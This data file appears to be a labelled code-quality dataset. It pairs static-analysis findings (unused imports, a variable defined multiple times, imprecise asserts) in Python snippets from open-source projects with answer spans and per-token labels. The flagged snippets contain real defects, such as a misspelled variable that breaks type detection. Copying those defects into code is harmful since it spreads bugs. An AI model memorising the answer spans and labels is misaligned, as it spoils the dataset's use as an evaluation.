"\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "delivery", "\\u", "days_", "=_", "datetime_", "._", "date_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "delivery", "\\u", "date_", "[_", ":_", "4_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "delivery", "\\u", "date_", "[_", "5_", ":_", "7_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "delivery", "\\u", "date_", "[_", "8_", ":_", "]_", ")_", ")_", "-_", "datetime_", "._", "date_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "shipping", "\\u", "date_", "[_", ":_", "4_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "shipping", "\\u", "date_", "[_", "5_", ":_", "7_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "int_", "(_", "shipping", "\\u", "date_", "[_", "8_", ":_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "delivery", "\\u", "days_", "=_", "self_", "._", "delivery", "\\u", "days_", "._", "days_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "is", "\\u", "valid_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "calculated", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "is", "\\u", "valid_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "verbo", "se", "\\u", "log_", "(_", "\"", "Cana", "da", " ", "Post", " ", "Cann", "ot", " ", "find", " ", "rate", " ", "for", " ", "code", ":", " ", "%", "s", " ", "[", "%", "s", "]\"_", ",_", "self_", "._", "service", "\\u", "type", "\\u", "code_", ",_", "self_", "._", "service", "\\u", "type", "\\u", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ship", "per_", "(_", "Base", "Ship", "per_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "verbo", "se", "\\u", "log_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "config", "\\u", "value_", "(_", "'", "shipping", ".", "module", "s", ".", "can", "ada", "post", "'_", ",_", "'", "VERBOS", "E", "\\u", "LOG", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "debug_", "(_", "*_", "args_", ",_", "**_", "kwargs_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
dcramer/sentry-old/sentry/utils/compat.py
[ { "content": "\"\"\"\nsentry.utils.compat\n~~~~~~~~~~~~~~~~~~~\n\nContains compatibility imports (generally c-module replacements)\n\n:copyright: (c) 2010 by the Sentry Team, see AUTHORS for more details.\n:license: BSD, see LICENSE for more details.\n\"\"\"\n\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\ntry:\n import cmath as math\nexcept ImportError:\n import math\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import cPickle as pickle", "start_line": 11, "start_column": 4, "end_line": 11, "end_column": 28 }, { "span": "import pickle", "start_line": 13, "start_column": 4, "end_line": 13, "end_column": 17 }, { "span": "import cmath as math", "start_line": 16, "start_column": 4, "end_line": 16, "end_column": 24 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "sentry", ".", "util", "s", ".", "compa", "t", "\\", "10", ";", "~~~~~~~~~~~", "~~~~~", "~~~", "\\", "10", ";", "\\", "10", ";", "Contain", "s", " ", "compatibility", " ", "import", "s", " ", "(", "genera", "ll", "y", " ", "c", "-", "module", " ", "replace", "ment", "s", ")", "\\", "10", ";", "\\", "10", ";", ":", "copyr", "ight", ":", " ", "(", "c", ")", " ", "2010", " ", "by", " ", "the", " ", "Sent", "ry", " ", "Tea", "m", ",", " ", "see", " ", "AUTHOR", "S", " ", "for", " ", "more", " ", "deta", "il", "s", ".", "\\", "10", ";", ":", "license", ":", " ", "BS", "D", ",", " ", "see", " ", "LICENSE", " ", "for", " ", "more", " ", "deta", "il", "s", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "c", "Pickle_", "as_", "pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "cma", "th_", "as_", "math_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "math_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
AppScale/appscale/AppServer/lib/grizzled/grizzled/db/base.py
[ { "content": " def get_table_metadata(self, table, cursor):\n \"\"\"\n Get the metadata for a table. Returns a list of tuples, one for\n each column. Each tuple consists of the following::\n\n (column_name, type_string, max_char_size, precision, scale, nullable)\n\n The tuple elements have the following meanings.\n\n column_name\n the name of the column\n type_string\n the column type, as a string\n max_char_size\n the maximum size for a character field, or ``None``\n precision\n the precision, for a numeric field; or ``None``\n scale\n the scale, for a numeric field; or ``None``\n nullable\n ``True`` if the column is nullable, ``False`` if it is not\n\n The tuples are named tuples, so the fields may be referenced by the\n names above or by position.\n\n The default implementation uses the DB API's ``cursor.description``\n field. Subclasses are free to override this method to produce their\n own version that uses other means.\n\n :Parameters:\n table : str\n the table name for which metadata is desired\n cursor : Cursor\n a ``Cursor`` object from a recent query\n\n :rtype: list\n :return: list of tuples, as described above\n\n :raise Warning: Non-fatal warning\n :raise Error: Error\n \"\"\"\n self._ensure_valid_table(cursor, table)\n dbi = self.get_import()\n cursor.execute('SELECT * FROM %s WHERE 1=0' % table)\n result = []\n for col in cursor.description:\n name = col[0]\n type = col[1]\n size = col[2]\n internalSize = col[3]\n precision = col[4]\n scale = col[5]\n nullable = col[6]\n\n sType = None\n try:\n if type == dbi.BINARY:\n stype = 'blob'\n elif type == dbi.DATETIME:\n stype = 'datetime'\n elif type == dbi.NUMBER:\n stype = 'numeric'\n elif type == dbi.STRING:\n sz = internalSize\n if sz == None:\n sz = size\n elif sz <= 0:\n sz = size\n\n if sz == 1:\n stype = 'char'\n else:\n stype = 'varchar'\n size = sz\n elif type == dbi.ROWID:\n stype = 'id'\n except AttributeError:\n stype = None\n\n if not sType:\n stype = 'unknown (type code=%s)' % str(type)\n\n data = TableMetadata(name, stype, size, precision, scale, nullable)\n result += [data]\n\n return result", "metadata": "root.DBDriver.get_table_metadata", "header": "['class', 'DBDriver', '(', 'object', ')', ':', '___EOS___']", "index": 841 } ]
[ { "span": "stype ", "start_line": 898, "start_column": 20, "end_line": 898, "end_column": 25 }, { "span": "stype ", "start_line": 900, "start_column": 20, "end_line": 900, "end_column": 25 }, { "span": "stype ", "start_line": 902, "start_column": 20, "end_line": 902, "end_column": 25 }, { "span": "stype ", "start_line": 911, "start_column": 24, "end_line": 911, "end_column": 29 }, { "span": "stype ", "start_line": 913, "start_column": 24, "end_line": 913, "end_column": 29 }, { "span": "stype ", "start_line": 916, "start_column": 20, "end_line": 916, "end_column": 25 } ]
[ { "span": "stype ", "start_line": 921, "start_column": 16, "end_line": 921, "end_column": 21 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "DB", "Driver_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "table", "\\u", "metadata_", "(_", "self_", ",_", "table_", ",_", "cursor_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "the", " ", "metadata", " ", "for", " ", "a", " ", "table", ".", " ", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "tuple", "s", ",", " ", "one", " ", "for", "\\", "10", ";", " ", " ", " ", " ", "each", " ", "column", ".", " ", "Ea", "ch", " ", "tuple", " ", "consi", "sts", " ", "of", " ", "the", " ", "follow", "ing", "::", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "(", "column", "\\u", "name", ",", " ", "type", "\\u", "string", ",", " ", "max", "\\u", "char", "\\u", "size", ",", " ", "preci", "sion", ",", " ", "scale", ",", " ", "null", "able", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "tuple", " ", "element", "s", " ", "have", " ", "the", " ", "follow", "ing", " ", "meaning", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "column", "\\u", "name", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "name", " ", "of", " ", "the", " ", "column", "\\", "10", ";", " ", " ", " ", " ", "type", "\\u", "string", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "column", " ", "type", ",", " ", "as", " ", "a", " ", "string", "\\", "10", ";", " ", " ", " ", " ", "max", "\\u", "char", "\\u", "size", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "maxim", "um", " ", "size", " ", "for", " ", "a", " ", "character", " ", "field", ",", " ", "or", " ", "``", "Non", "e", "``", "\\", "10", ";", " ", " ", " ", " ", "preci", "sion", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "preci", "sion", ",", " ", "for", " ", "a", " ", "numeri", "c", " ", "field", ";", " ", "or", " ", "``", "Non", "e", "``", "\\", "10", ";", " ", " ", " ", " ", "scale", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "scale", ",", " ", "for", " ", "a", " ", "numeri", "c", " ", "field", ";", " ", "or", " ", "``", "Non", "e", "``", "\\", "10", ";", " ", " ", " ", " ", "null", "able", "\\", "10", ";", " ", " ", " ", " ", "``", "Tru", "e", "``", " ", "if", " ", "the", " ", "column", " ", "is", " ", "null", "able", ",", " ", "``", "Fal", "se", "``", " ", "if", " ", "it", " ", "is", " ", "not", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "tuple", "s", " ", "are", " ", "named", " ", "tuple", "s", ",", " ", "so", " ", "the", " ", "fields", " ", "may", " ", "be", " ", "referenced", " ", "by", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "names", " ", "above", " ", "or", " ", "by", " ", "position", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "default", " ", "implementation", " ", "use", "s", " ", "the", " ", "DB", " ", "API", "'", "s", " ", "``", "cursor", ".", "description", "``", "\\", "10", ";", " ", " ", " ", " ", "field", ".", " ", "Subc", "lasse", "s", " ", "are", " ", "free", " ", "to", " ", "override", " ", "this", " ", "method", " ", "to", " ", "produce", " ", "thei", "r", "\\", "10", ";", " ", " ", " ", " ", "own", " ", "version", " ", "tha", "t", " ", "use", "s", " ", "other", " ", "means", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "Parameter", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "table", " ", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "table", " ", "name", " ", "for", " ", "whi", "ch", " ", "metadata", " ", "is", " ", "desi", "red", "\\", "10", ";", " ", " ", " ", " ", "cursor", " ", ":", " ", "Curs", "or", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "``", "Curs", "or", "``", " ", "object", " ", "from", " ", "a", " ", "recent", " ", "query", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "rty", "pe", ":", " ", "list", "\\", "10", ";", " ", " ", " ", " ", ":", "return", ":", " ", "list", " ", "of", " ", "tuple", "s", ",", " ", "as", " ", "descri", "bed", " ", "above", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "raise", " ", "Warn", "ing", ":", " ", "Non", "-", "fat", "al", " ", "warn", "ing", "\\", "10", ";", " ", " ", " ", " ", ":", "raise", " ", "Error", ":", " ", " ", " ", "Error", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "ensure", "\\u", "valid", "\\u", "table_", "(_", "cursor_", ",_", "table_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dbi", "_", "=_", "self_", "._", "get", "\\u", "import_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cursor_", "._", "execute_", "(_", "'", "SELECT", " ", "*", " ", "FROM", " ", "%", "s", " ", "WHE", "RE", " ", "1", "=", "0", "'_", "%_", "table_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "col_", "in_", "cursor_", "._", "description_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "col_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "type_", "=_", "col_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "size_", "=_", "col_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "internal", "Size_", "=_", "col_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "precision_", "=_", "col_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scale_", "=_", "col_", "[_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nullable_", "=_", "col_", "[_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "s", "Type_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "==_", "dbi", "_", "._", "BINARY_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stype_", "=_", "'", "blob", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "dbi", "_", "._", "DATETIME", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stype_", "=_", "'", "datetime", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "dbi", "_", "._", "NUMBER_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stype_", "=_", "'", "numeri", "c", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "dbi", "_", "._", "STRING_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "sz_", "=_", "internal", "Size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sz_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sz_", "=_", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "sz_", "<=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "sz_", "=_", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "sz_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "stype_", "=_", "'", "char", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "stype_", "=_", "'", "var", "char", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "size_", "=_", "sz_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "type_", "==_", "dbi", "_", "._", "ROW", "ID_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stype_", "=_", "'", "id", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stype_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "s", "Type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stype_", "=_", "'", "unknown", " ", "(", "type", " ", "code", "=", "%", "s", ")'_", "%_", "str_", "(_", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "data_", "=_", "Table", "Metadata_", "(_", "name_", ",_", "stype_", ",_", "size_", ",_", "precision_", ",_", "scale_", ",_", "nullable_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "+=_", "[_", "data_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
amrdraz/kodr/app/brython/www/src/Lib/test/test_richcmp.py
[ { "content": " def checkequal(self, opname, a, b, expres):\n for op in opmap[opname]:\n realres = op(a, b)\n # can't use assertEqual(realres, expres) here\n self.assertEqual(len(realres), len(expres))\n for i in range(len(realres)):\n # results are bool, so we can use \"is\" here\n self.assertTrue(realres[i] is expres[i])", "metadata": "root.VectorTest.checkequal", "header": "['class', 'VectorTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 101 }, { "content": " def checkvalue(self, opname, a, b, expres):\n for typea in (int, Number):\n for typeb in (int, Number):\n ta = typea(a)\n tb = typeb(b)\n for op in opmap[opname]:\n realres = op(ta, tb)\n realres = getattr(realres, \"x\", realres)\n self.assertTrue(realres is expres)", "metadata": "root.NumberTest.checkvalue", "header": "['class', 'NumberTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 157 }, { "content": " @support.no_tracing\n def test_recursion(self):\n # Check that comparison for recursive objects fails gracefully\n from collections import UserList\n a = UserList()\n b = UserList()\n a.append(b)\n b.append(a)\n self.assertRaises(RuntimeError, operator.eq, a, b)\n self.assertRaises(RuntimeError, operator.ne, a, b)\n self.assertRaises(RuntimeError, operator.lt, a, b)\n self.assertRaises(RuntimeError, operator.le, a, b)\n self.assertRaises(RuntimeError, operator.gt, a, b)\n self.assertRaises(RuntimeError, operator.ge, a, b)\n\n b.append(17)\n # Even recursive lists of different lengths are different,\n # but they cannot be ordered\n self.assertTrue(not (a == b))\n self.assertTrue(a != b)\n self.assertRaises(RuntimeError, operator.lt, a, b)\n self.assertRaises(RuntimeError, operator.le, a, b)\n self.assertRaises(RuntimeError, operator.gt, a, b)\n self.assertRaises(RuntimeError, operator.ge, a, b)\n a.append(17)\n self.assertRaises(RuntimeError, operator.eq, a, b)\n self.assertRaises(RuntimeError, operator.ne, a, b)\n a.insert(0, 11)\n b.insert(0, 12)\n self.assertTrue(not (a == b))\n self.assertTrue(a != b)\n self.assertTrue(a < b)", "metadata": "root.MiscTest.test_recursion", "header": "['class', 'MiscTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 222 }, { "content": " def test_dicts(self):\n # Verify that __eq__ and __ne__ work for dicts even if the keys and\n # values don't support anything other than __eq__ and __ne__ (and\n # __hash__). Complex numbers are a fine example of that.\n import random\n imag1a = {}\n for i in range(50):\n imag1a[random.randrange(100)*1j] = random.randrange(100)*1j\n items = list(imag1a.items())\n random.shuffle(items)\n imag1b = {}\n for k, v in items:\n imag1b[k] = v\n imag2 = imag1b.copy()\n imag2[k] = v + 1.0\n self.assertEqual(imag1a, imag1a)\n self.assertEqual(imag1a, imag1b)\n self.assertEqual(imag2, imag2)\n self.assertTrue(imag1a != imag2)\n for opname in (\"lt\", \"le\", \"gt\", \"ge\"):\n for op in opmap[opname]:\n self.assertRaises(TypeError, op, imag1a, imag2)", "metadata": "root.DictTest.test_dicts", "header": "['class', 'DictTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 257 } ]
[ { "span": "self.assertTrue(realres[i] is expres[i])", "start_line": 108, "start_column": 16, "end_line": 108, "end_column": 56 }, { "span": "self.assertTrue(realres is expres)", "start_line": 165, "start_column": 20, "end_line": 165, "end_column": 54 }, { "span": "self.assertTrue(a != b)", "start_line": 241, "start_column": 8, "end_line": 241, "end_column": 31 }, { "span": "self.assertTrue(a != b)", "start_line": 252, "start_column": 8, "end_line": 252, "end_column": 31 }, { "span": "self.assertTrue(a < b)", "start_line": 253, "start_column": 8, "end_line": 253, "end_column": 30 }, { "span": "self.assertTrue(imag1a != imag2)", "start_line": 275, "start_column": 8, "end_line": 275, "end_column": 40 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Vector", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "checkequal_", "(_", "self_", ",_", "opname", "_", ",_", "a_", ",_", "b_", ",_", "expr", "es_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "op_", "in_", "opm", "ap_", "[_", "opname", "_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "real", "res_", "=_", "op_", "(_", "a_", ",_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "can", "'", "t", " ", "use", " ", "assert", "Equal", "(", "real", "res", ",", " ", "expr", "es", ")", " ", "here_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "real", "res_", ")_", ",_", "len_", "(_", "expr", "es_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "len_", "(_", "real", "res_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "results", " ", "are", " ", "bool", ",", " ", "so", " ", "we", " ", "can", " ", "use", " ", "\"", "is", "\"", " ", "here_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "real", "res_", "[_", "i_", "]_", "is_", "expr", "es_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Number", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "value_", "(_", "self_", ",_", "opname", "_", ",_", "a_", ",_", "b_", ",_", "expr", "es_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "type", "a_", "in_", "(_", "int_", ",_", "Number_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "type", "b_", "in_", "(_", "int_", ",_", "Number_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ta_", "=_", "type", "a_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tb_", "=_", "type", "b_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "op_", "in_", 